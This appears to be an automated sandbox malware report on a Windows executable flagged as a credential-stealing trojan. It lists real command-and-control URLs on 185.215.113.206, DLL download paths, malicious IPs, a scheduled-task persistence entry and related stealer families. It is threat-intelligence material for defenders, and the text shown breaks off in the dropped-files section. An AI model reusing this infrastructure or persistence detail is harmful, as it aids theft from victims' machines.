https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2199884602.0000000001A4A000.00000004.00000020.00020000.00000000.sdmp, CFCGIIEH.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.8.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	EHDBGDHDAECBGDHJKFIDGCBFBK.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php2	file.exe, 00000000.00000002.2423393913.0000000023C91000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php7	file.exe, 00000000.00000002.2423393913.0000000023C91000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-daily-5.corp.google.com/	manifest.json0.8.dr	false		high
https://plus.google.com	chromecache_484.4.dr	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll)	file.exe, 00000000.00000002.2398221193.0000000001A12000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/chrome	content_new.js.8.dr, content.js.8.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.8.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	EHDBGDHDAECBGDHJKFIDGCBFBK.0.dr	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2423393913.0000000023C15000.00000004.00000020.00020000.00000000.sdmp, GHJJDGHCBGDHIECBGIDA.0.dr	false		high
https://assets2.msn.com	598d5c0d-0ff8-49f7-ba05-3b94a6738f9c.tmp.9.dr	false		high
https://chromewebstore.google.com/	manifest.json.8.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.8.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2423393913.0000000023C15000.00000004.00000020.00020000.00000000.sdmp, GHJJDGHCBGDHIECBGIDA.0.dr	false		high
https://msn.comXIDv10	Cookies.9.dr	false		high
https://chrome.google.com/webstore/	manifest.json.8.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
https://clients6.google.com	chromecache_484.4.dr	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
http://185.215.113.206/0	file.exe, 00000000.00000002.2398221193.00000000019E8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php003	file.exe, 00000000.00000002.2398221193.00000000019E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	GHJJDGHCBGDHIECBGIDA.0.dr	false		high
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.8.dr, 000003.log10.8.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2279395077.0000000023C23000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199884602.0000000001A4A000.00000004.00000020.00020000.00000000.sdmp, FCBFBGDB.0.dr, CFCGIIEH.0.dr, Web Data.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpp	file.exe, 00000000.00000002.2398221193.0000000001A12000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com	000003.log4.8.dr, 2cc80dabc69f58b6_0.8.dr	false		high
https://browser.events.data.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		high
https://drive-staging.corp.google.com/	manifest.json0.8.dr	false		high
http://185.215.113.206/68b591d6548ec281/softokn3.dlln	file.exe, 00000000.00000002.2398221193.00000000019E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2279395077.0000000023C23000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199884602.0000000001A4A000.00000004.00000020.00020000.00000000.sdmp, FCBFBGDB.0.dr, CFCGIIEH.0.dr, Web Data.8.dr	false		high
https://apis.google.com	chromecache_482.4.dr, chromecache_484.4.dr	false		high
https://ntp.msn.com/	000003.log10.8.dr	false		high
https://domains.google.com/suggest/flow	chromecache_484.4.dr	false		high
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2412575832.000000001DB2C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2430260874.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start	Session_13375832355194661.8.dr	false		high
https://ntp.msn.com/ntp.msn.com_default	QuotaManager.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpX0	file.exe, 00000000.00000002.2398221193.00000000019E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2279395077.0000000023C23000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199884602.0000000001A4A000.00000004.00000020.00020000.00000000.sdmp, FCBFBGDB.0.dr, CFCGIIEH.0.dr, Web Data.8.dr	false		high
https://img-s.msn.cn/tenant/amp/entityid/	2cc80dabc69f58b6_1.8.dr	false		high
https://drive-autopush.corp.google.com/	manifest.json0.8.dr	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll_	file.exe, 00000000.00000002.2398221193.00000000019E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.comService-Worker-Allowed:	2cc80dabc69f58b6_0.8.dr	false		high
https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288	000003.log10.8.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000002.2423393913.0000000023C15000.00000004.00000020.00020000.00000000.sdmp, GHJJDGHCBGDHIECBGIDA.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.185.100	www.google.com	United States	15169	GOOGLEUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
18.65.39.56	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
108.138.128.93	unknown	United States	16509	AMAZON-02US	false
23.44.111.21	unknown	United States	16625	AKAMAI-ASUS	false
23.33.40.148	unknown	United States	20940	AKAMAI-ASN1EU	false
104.70.121.152	unknown	United States	20940	AKAMAI-ASN1EU	false
23.57.90.101	unknown	United States	35994	AKAMAI-ASUS	false
23.44.133.31	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.185.110	play.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
216.58.206.46	plus.l.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
20.96.153.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.208.16.90	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.186.161	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.228.161.161	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1554003
Start date and time:	2024-11-11 21:58:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@73/294@28/27
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.99, 172.217.18.110, 66.102.1.84, 34.104.35.123, 142.250.186.163, 142.250.185.170, 142.250.184.234, 216.58.206.74, 172.217.16.138, 142.250.185.138, 142.250.186.106, 216.58.206.42, 142.250.185.74, 142.250.185.106, 142.250.186.74, 216.58.212.170, 172.217.23.106, 142.250.186.138, 172.217.18.10, 142.250.184.202, 172.217.16.202, 142.250.185.234, 142.250.186.170, 142.250.185.202, 142.250.181.234, 142.250.186.42, 172.217.18.106, 204.79.197.203, 13.107.21.239, 204.79.197.239, 142.250.185.206, 13.107.42.16, 13.107.6.158, 2.19.126.152, 2.19.126.145, 20.93.72.182, 88.221.110.195, 88.221.110.179, 2.23.209.161, 2.23.209.149, 2.23.209.133, 2.23.209.150, 2.23.209.158, 2.23.209.135, 2.23.209.140, 2.23.209.148, 2.23.209.130, 2.23.209.176, 2.23.209.141, 2.23.209.179, 2.23.209.177, 13.107.21.237, 204.79.197.237, 13.74.129.1, 23.38.98.107, 23.38.98.77, 23.38.98.114, 23.38.98.100, 23.38.98.73, 2.23.209.154, 2.23.209.187, 2.23.209.156, 2.23.209.189, 199.232.210.172, 4.231.66.184
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, c.bing.com, assets2.msn.com.edgekey.net, edgeassetservice.azureedge.net, clients.l.google.com, config.edge.skype.
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
15:59:27	API Interceptor	14x Sleep call for process: file.exe modified
21:59:33	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	SAFAIR - MDE_File_Sample_c4fda6eee21550785a1c89ce291a2d3072e0ed9b.zip	Get hash	malicious	Unknown	Browse	162.159.61.3
	rPO3799039985.exe	Get hash	malicious	Remcos, GuLoader	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	A3W2CpXxiO.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
sb.scorecardresearch.com	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.65.39.28
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.38
	https://www.canva.com/design/DAGV5ZsI2aM/Y4DbzinsvfGp5Ll4c_oJJQ/view?utm_content=DAGV5ZsI2aM&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	52.222.169.27
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.122
	rPO3799039985.exe	Get hash	malicious	Remcos, GuLoader	Browse	3.163.101.92
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	52.222.169.76
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.122
	A3W2CpXxiO.exe	Get hash	malicious	Stealc, Vidar	Browse	18.245.60.72
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	A3W2CpXxiO.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://share365doc-hrabaddqf5fahba5.z03.azurefd.net/lastestbolodoc/doc.html	Get hash	malicious	HTMLPhisher	Browse	20.42.73.24
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	Invoice #16468.docx	Get hash	malicious	Unknown	Browse	52.109.28.46
	https://www.hopp.bio/hawksridgefarms	Get hash	malicious	Mamba2FA	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.101.168.44
	https://fnv.morsentutra.ru/DD8Q/	Get hash	malicious	Unknown	Browse	20.236.44.162
	nanocore.exe	Get hash	malicious	NanoCore	Browse	51.103.213.187
	sora.mpsl.elf	Get hash	malicious	Mirai	Browse	40.108.137.194
	njrat.exe	Get hash	malicious	BrowserPasswordDump Tool, Njrat	Browse	51.103.213.187
	https://progressiverealtypartners-my.sharepoint.com/:u:/g/personal/tim_prpmgmt_com/EdZinr2CPWZEuxpjzT68pWkB_BXb703gHPyGyIw4BgsN9Q?e=R4oSZ5	Get hash	malicious	Unknown	Browse	52.108.9.12
CLOUDFLARENETUS	https://xblgo.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://u34251876.ct.sendgrid.net/ls/click?upn=u001.ordJ57g0HVndDa8Km-2BVUUFN1eIn5tdzIxrKbgsGfF9eVdl7b-2Fab-2BrUBdfIXH9yijR5LLM7kgivkgUI3nC3VajM00UDrq4ekI2XREqo0QmHcHyDyYWomvx9-2FHEtQ3o5rBM9AHzVSsjnwFSEJqic-2BEtw-3D-3DBxNa_qINdfz5Lp8EahgxJXfgGV-2Bk7caEgTUs2gtUTKNMgBkZ9mbVIMd-2B1UUN0TqdRRGrocW81C18onNWNx5Y6KM88Rr7odKCqMhALUPuUbXGlkOo01sEKeKdphXRhykHXKfSB-2By1s-2BNAgCL9-2BbtY8LNaKNV0sXQnlv-2F9fA-2BLZtaeadaVGHb32bFHhcOwS3ltfr2dig92MY6M8DrwwYiolgI1k4Q-3D-3D	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://share365doc-hrabaddqf5fahba5.z03.azurefd.net/lastestbolodoc/doc.html	Get hash	malicious	HTMLPhisher	Browse	172.67.222.69
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	http://invoicehome.uk/invoice.zip	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	http://myfilestorage.xyz	Get hash	malicious	Unknown	Browse	1.1.1.1
	Invoice #16468.docx	Get hash	malicious	Unknown	Browse	104.17.25.14
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://share365doc-hrabaddqf5fahba5.z03.azurefd.net/lastestbolodoc/doc.html	Get hash	malicious	HTMLPhisher	Browse	20.42.73.24
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	Invoice #16468.docx	Get hash	malicious	Unknown	Browse	52.109.28.46
	https://www.hopp.bio/hawksridgefarms	Get hash	malicious	Mamba2FA	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.101.168.44
	https://fnv.morsentutra.ru/DD8Q/	Get hash	malicious	Unknown	Browse	20.236.44.162
	nanocore.exe	Get hash	malicious	NanoCore	Browse	51.103.213.187
	sora.mpsl.elf	Get hash	malicious	Mirai	Browse	40.108.137.194
	njrat.exe	Get hash	malicious	BrowserPasswordDump Tool, Njrat	Browse	51.103.213.187
	https://progressiverealtypartners-my.sharepoint.com/:u:/g/personal/tim_prpmgmt_com/EdZinr2CPWZEuxpjzT68pWkB_BXb703gHPyGyIw4BgsN9Q?e=R4oSZ5	Get hash	malicious	Unknown	Browse	52.108.9.12

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://xblgo.com	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.45 40.126.32.138
	https://u34251876.ct.sendgrid.net/ls/click?upn=u001.ordJ57g0HVndDa8Km-2BVUUFN1eIn5tdzIxrKbgsGfF9eVdl7b-2Fab-2BrUBdfIXH9yijR5LLM7kgivkgUI3nC3VajM00UDrq4ekI2XREqo0QmHcHyDyYWomvx9-2FHEtQ3o5rBM9AHzVSsjnwFSEJqic-2BEtw-3D-3DBxNa_qINdfz5Lp8EahgxJXfgGV-2Bk7caEgTUs2gtUTKNMgBkZ9mbVIMd-2B1UUN0TqdRRGrocW81C18onNWNx5Y6KM88Rr7odKCqMhALUPuUbXGlkOo01sEKeKdphXRhykHXKfSB-2By1s-2BNAgCL9-2BbtY8LNaKNV0sXQnlv-2F9fA-2BLZtaeadaVGHb32bFHhcOwS3ltfr2dig92MY6M8DrwwYiolgI1k4Q-3D-3D	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.45 40.126.32.138
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	20.109.210.53 184.28.90.27 13.107.246.45 40.126.32.138
	http://invoicehome.uk/invoice.zip	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.45 40.126.32.138
	https://vinculocomputer.com/run/	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.45 40.126.32.138
	https://www.hopp.bio/hawksridgefarms	Get hash	malicious	Mamba2FA	Browse	20.109.210.53 184.28.90.27 13.107.246.45 40.126.32.138
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	20.109.210.53 184.28.90.27 13.107.246.45 40.126.32.138
	https://9lrcO5435enkIg6bUCf.duzl.de/9lrcO/enkIg6bUCf/n6tpnsszmdaibMhCn01b1b7xgen/9lrcO/enkIg6bUCf/Michael+AF8-jakubek/5435/qvc.com/n6tpnsszmdaibMhCn01b+ACI-	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.45 40.126.32.138
	https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://www.google.nl/url?q=ZFCKQSES42J831UCOWMB4MEAK36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fthedailyparanoia%2Ecom%2F	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 184.28.90.27 13.107.246.45 40.126.32.138
	https://estore.winxdvd.com/l.php?link=uh75n2uyaf5b%7C143517067	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.45 40.126.32.138

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AEBAFBGIDHCBFHIECFCB

Download File

Process:	C:\Users\user\Desktop\file.exe
